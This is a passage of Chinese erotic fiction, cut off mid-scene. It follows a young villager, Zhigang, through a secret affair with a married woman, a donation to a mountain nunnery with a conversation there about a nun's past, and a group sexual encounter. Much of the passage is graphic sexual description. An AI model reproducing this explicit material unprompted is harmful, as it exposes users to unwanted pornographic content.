一直送到志刚家门口,静圆才告辞。志刚请她到家里坐坐,她拒绝了。志刚说:“你回去走淌汗了,可不能再让风吹了。”

静圆也不再有尼姑的端庄神态,脸上的笑容是从内心涌出来的,说:“放心。我可没你那么傻。”

便走了。

志刚看着那曼妙的穿着僧服的背影一直消失在水库那头,若有所失。

志刚回到家里,爸妈都不在家。现在不是农忙季节,田里活不多,估计他们不是在田里,就是到谁家打麻将去了。

志刚倒在床上又睡了一觉,醒来时天已经暗下来。他肚子饿了,感到身体也好多了,毕竟年轻,恢复得快。他走下楼,爸妈正在吃饭,妈妈赶紧给他盛饭,问他:“回来见你睡着了,就没有叫你。身体好了吗?”

志刚说:“好了。就是一点感冒,没关系。”

爸爸说:“昨天晚上有人带信来,说你在尼姑庵有点不舒服,要住一晚,你妈马上就要去看你,被我拦下来了。”

“就是嘛,有什么好看的。肯定没事。要是严重了,尼姑庵也不敢收留我,早把我送到医院去了。就是有点不舒服,我又想和尼姑聊聊佛教方面的事,就留下了。”

妈妈说:“没事就好。快吃饭吧,今天我去镇上买了肉,你多吃点。”

猪肉很香,肯定是农家养的土猪肉,蔬菜也是自家种的绿色环保产品,志刚一口气吃了三碗饭。那可是农村人家用的大碗,志刚只在上高中时周末回到家里,才吃过三大碗饭。开始打工时也有这个饭量,可按他现在的饭量,只吃一碗就饱了。他知道自己的身体恢复了,吃这么多饭不好消化,便和爸妈打声招呼,出去散步。

外面月亮很圆,看样子不是十五就是十六。月光照在田野上,朦朦胧胧的像纱帐一般。远山黑黢黢地矗立着。水库里也有一轮明亮的月亮,月光在水波中跳跃闪烁。各种虫鸣此起彼伏,热闹非凡,间有呱呱的蛙鸣,像是在噼里叭啦的鞭炮声里突然炸起的焰火似的。然而,虫鸣中的农村夜晚,反而被衬得更加寂静。谁家的狗叫了三两声,便又重归寂静。

志刚信步走到水库大堤上。晚风一阵阵吹来,虫鸣声也一阵阵地像波浪般的高低起伏。有时,脚边有一只青蛙突然亮起嗓门,吓他一跳。

多少年没有享受过这种安静的农村夜晚了?其实当初读书时这种享受也很少,那时浮躁而喜欢热闹,没有这种心境。

志刚沿大坝从西走到东,意犹未尽,便往彭家村走去。不知不觉竟走到了大明家院子外面。他只在前天来过一次,即便是小时候也从来没有到这里来过。他知道自己是想大明媳妇赵红霞了。他是真喜欢这个小巧的女人,尤其是她害羞的样子,惹人心痛,叫人爱怜。

院子里有条狗,见志刚在大门口站着不走,便叫起来。志刚赶紧跑开,四周望望,生怕哪家有人出来看见他。其实他也知道,这样的狗叫司空见惯,没有谁会出门看的。只有在狗连续叫个不停,引起全村的狗都叫起来的情况下,知道有异常情况,才会有人开门看看。但是他做贼心虚,吓得心脏嘣嘣地跳,好一阵才平静下来。

志刚见大明家楼上窗帘透出灯光,知道红霞在家,就是不知道是不是一个人在家。他记着她说公公婆婆到大明兄弟家去了。他又悄悄地走近大门,狗又叫了。这只狗前天见过他,认识,所以才这样并非很凶恶地叫,一是警示他不要乱来,二是提醒主人可能有客人来了。

里面大门打开了,听见是红霞的声音:“谁呀?”

志刚赶紧说:“是我。红霞,我是志刚。”

里面没声音了,静了一会,听见红霞走出来,打开院子门。没等她让,志刚一闪身进去了,回身把大门拴上,抱住红霞就吻。红霞和他吻一会,问道:“你怎么这时候来了?”

“我想你想得睡不着,就来了。”

红霞低下头不作声了。志刚知道她是害羞,便搂着她往屋里去。红霞把大门关好,又把楼下灯关掉,和志刚上楼进到卧室。志刚还要吻她,她却推开了,说:“我打电话把大群媳妇叫来吧。”

“不用。叫她干什么?我就想要你一个人。”

红霞红着脸低头嗫嚅着说:“可是我怕。”

志刚笑了:“怕?怕什么?怕谋财还是怕害命?这两样你知道都不会发生,那么一个女人就怕被**了,可是也不存在呀。前天你就已经被我奸了,但不是**,是通奸。”

志刚这样一说,她的脸更红了,还是低着头,低声说:“不知道,反正我就是害怕。”

“我知道,你是从来没干过这种事,对不对?前天你也害怕,但是有大群媳妇在一起,胆就壮了。”

看她这种样子,志刚心里产生了说不出的爱怜和柔情,他一把抱起红霞放到床上,说:“我知道怎样你就不害怕了。”

女人躺在床上,双手曲在胸前,作出害怕而防卫的资态,志刚扑上去,拉开两只手,捧起脸就吻。女人在他一吻的刹那间,就放弃了防卫,而主动抱住志刚亲吻。果然她不害怕了。

志刚进入了女人,把她拥在怀里,欣赏着身下的猎物。女人闭紧双眼,微张着小嘴,一副陶醉于肉体的**的模样。志刚亲亲她的脸,下身运动更有劲了。女人在他一次次的冲击下开始若断若续地轻轻地呻吟。

志刚能感觉到她的高潮快来了,这种感觉和与井儿**有点类似,这使志刚欣喜若狂,使出了全部力量,把这个女人吞没了。

他在女人高潮时也射了,两人同时达到顶峰,女人依然抱紧他,舍不得让他出去。志刚想,我前天能让她来两次高潮才射,今天是怎么回事?是因为喜欢这个小女人。

他们相拥着坐起来。志刚这才有空看一下周围情况,发现电视机开着,声音被调到很小,电视机旁边还放着一根黄瓜。他知道黄瓜出现在女人卧室意味着什么,便伸手拿过来,放鼻子上闻闻,红霞不好意思了,想抢过去,没抢到。

志刚说:“我来帮你玩玩。”

便扒下身子,把黄瓜一点一点地往红霞洞穴里塞,放进去大半截,便轻轻地来回**。

红霞咧着嘴说:“志刚,不要,我要你的进来。”

志刚把黄瓜拿掉,自己进去了。他问:“用黄瓜不舒服吗?”

女人不说话,志刚知道她又不好意思了。

红霞充满柔情地看着志刚,在他第二阶段均衡运动下感觉着均衡的快乐。她也懂得这时候交谈一会是必要的,便说:“志刚,等一会我把存梅叫来吧。”

志刚说:“小红霞,我发现你不但是害羞,还善良。你想让存梅分享我对不对?”

红霞不说话了。这时她身上皮肤都是红的,脸自然早就红了,否则这一会也会脸红的。

志刚说:“好红霞。你放心,我明天自己找他去,今天我只想消受你一个人,也让你好好过把瘾。”

红霞还是不说话。

志刚问:“说,你想不想我今晚只干你一人?”

红霞只是笑,还是不说话。

“我知道你想。说吧,想做几次?我都能满足你。八次怎么样?”

“志刚,你明天不要和存梅说今晚和我做了,好不好?”

志刚哈哈大笑,说:“太有意思了,你怎么这么害羞?又淫 荡又害羞。太可爱了。”

“啊——”

她的高潮到了。

志刚给家里打个电话,告诉父亲在彭家村同学家睡,晚上不回家了。他抱着这个可爱的小媳妇,好好享受了一晚。半年来都没有过的享受。他真的做了八次,让红霞后来也是喜笑颜开,尽情享受,不再害羞了。

几天后,志刚想到尼姑庵里去捐点钱,以感谢生病时受到的照顾。

他依然是下午上山,走到白云庵时又是大汗淋漓,这次他不敢吹风了,直接进到庵里,问一位尼姑:“请问静圆师太在哪里?”

那尼姑双手合十,答道:“静圆师太今天不在庵里,她和掌门师太下山办事去了。”

“那么,我想捐一点钱给庵里,请问交给谁?”

“施主直接放到大殿的功德箱里就可以。”

“可是,我要捐一万元,放不进去。”

尼姑抬起头来,瞪大眼睛看着志刚:“施主说是捐一万元?”

“是的。”

“那是要记入功德薄的。施主请跟我来。”

志刚跟着尼姑往里走。这尼姑年纪也不大,估计三十出头,长相也颇清秀,可能都是吃素养成的。志刚从后面看她走路的姿态,虽然保持着佛门弟子的庄重,却总能看出一些妩媚来。

尼姑带志刚进了后殿左边的一个房间,对里面盘腿打坐的一个尼姑说:“静虚师姐,有位施主要捐钱。”

“哦。”

静虚师太抬起头来,瞟了志刚一眼,“就是这位施主吗?”

志刚双手合十,俯身行礼,说道:“是的。我前几天在庵中生病,有劳静圆师太照顾,今天特意前来表示感谢。”

静虚师太也是一个颇清秀的女子,只是年纪稍长一点。看她的神色是知道此事。志刚拿出装着一万块钱的信封,双手捧上。静虚师太双手接过信封,问道:“请问施主姓名?”

“我叫冯志刚,是山下小冯庄人。”

“感谢施主恩惠。改日让静圆师妹登门表达谢意。施主请到茶室去饮茶小憩,贫尼正打坐不便陪客,就叫静慧师妹陪你吧。”

“多有打扰了。”

志刚说着便跟静慧出去了。

“你叫静慧?”

志刚与这个尼姑也算熟悉了,便问道。

“是。静圆是我师妹。”

到茶室坐下,还是上次和静圆坐的那张桌子。志刚看着静慧泡茶,问道:“静慧师太,敢问静圆俗家是哪里?”

“她是邻县人,到小庵出家才一年多。”

“你能告诉我她为什么出家吗?”

“对不起,施主,这个问题你还是问静圆本人吧。”

“那你能告诉我,她出家以前是做什么的吗?”

“这个,我不是很清楚,听说她是大学毕业,在政府工作过。”

“哦?”

志刚更有兴趣了,但他知道再也问不出什么来了,便转而问静慧,“师太,敢问你是哪里人?”

“我就是本县人,东乡镇。”

“那你为什么要出家呢?”

“施主对这个事很好奇吗?”

“是啊。以我的理解,只要信佛,出家与不出家没有区别,但是,能下狠心出家的女子,尤其是像你这样漂亮的女子,一定是有重大原因的。”

“你说得不错。既然是重大原因,就是刻骨铭心的,实在不便说与外人听,还请施主谅解。”

“你这样说的就不对了。既然已入空门,就是四大皆空,再大的事、再刻骨铭心的伤痛,在出家以前是,出家以后就都是空了。还有什么不好说的呢?”

“施主所说极是。但贫尼修为尚浅,还达不到四大皆空的境界,不肯揭开伤疤,以免再度为魔所困,还请施主原谅。”

“你不说算了。不过,我来猜上一猜如何?”

“施主既然有兴趣,贫尼也不好扫兴。不过你猜的对与不对,贫尼未必会告诉你。”

“我猜,你和静圆一样,都是为爱所困、为情所伤,对身边最亲的人或者最信任的人都感到失望,才会出家的。对吗?”

静慧闭眼双手合十,不说话。志刚知道猜对了。他又问:“你在出家以前是做什么工作的?”

静慧睁开眼睛,志刚感到她的瞳仁有点发亮,好像提到什么高兴事似的。她说:“说出来你会感到反差很大。我曾经是一个歌手。”

“歌手?”

轮到志刚瞪大眼睛了。难怪她穿着宽大的僧袍,从身后还能看出一点媚态,那是在舞台上长期形成的习惯动作,她无意识地保留着。

志刚再大着胆子猜测:“你是驻夜总会歌手。对吧?”

静慧的眼光又一闪:“施主真是冰雪聪明。”

“难道你出家跟文艺界的潜规则有关吗?”

静慧缓缓地摇头:“既然在文艺界生存,对潜规则当有心理准备,不至于因此就出家的。”

“对。说的也是。时候不早了,不再打扰。等下次有机会再向师太请教。”

“施主吃点斋饭再走吧。”

“不敢再打扰了。下山还有一个多小时的路,天黑就不好走了。师太再见。”

“再见。”

志刚走到山脚下,天已经黑了。再走一会就经过彭家村了。志刚现在是熟门熟路就到红霞家门口,那狗已经与他熟识,见他来也不叫,只睁一睁眼,便继续睡觉。他悄悄地推开大门,没有上栓,知道是为自己留着的。里面大门也虚掩着,他推门进去,返身锁好,便上楼去。

卧室门没有关,志刚一进门就看见床上两个女人激战正酣,红霞穿着衣服站在下面观看。床上一个是李存梅,还有一个不认识。见志刚进来,两个女人停下来休息。志刚见她们是拿一根黄瓜同时进入两个女人的洞里,黄瓜是直的,两女只好都是半后仰姿式,双手撑着床,下面洞口相对,用黄瓜连着。

志刚说:“你们也应该鸟枪换炮了。下次我给你们带几件合式的东西,不要再用这玩艺了。”

他见过一种东西,是两个男人的器具根部相连,大约以**十度的角度向上竖着,就是给两个女人互相**时用的。两女在把器具插进各自身体里后,还可以互相拥抱、互相亲吻,比一根直直的黄瓜方便多了。

李存梅对志刚说:“她是我最好的朋友,叫周芳。婆家在陈家村,今天过来玩,我就把她留住了。”

那周芳这样赤身 裸 体,里面还插着黄瓜,面对着志刚一点都不害羞,还对他笑,说:“志刚,我可听存梅说你非常厉害,不会是吹的吧?”

“厉害不厉害,今天你就是不试,也会看到。”

志刚说着,搂住身边的红霞,手就揉到她小巧的乳房。红霞脸又红了,挣扎着不让他搂。她这一挣扎,弄得志刚兴起,把她的衣服一下子就脱 完,把她抱起来,站着就进去了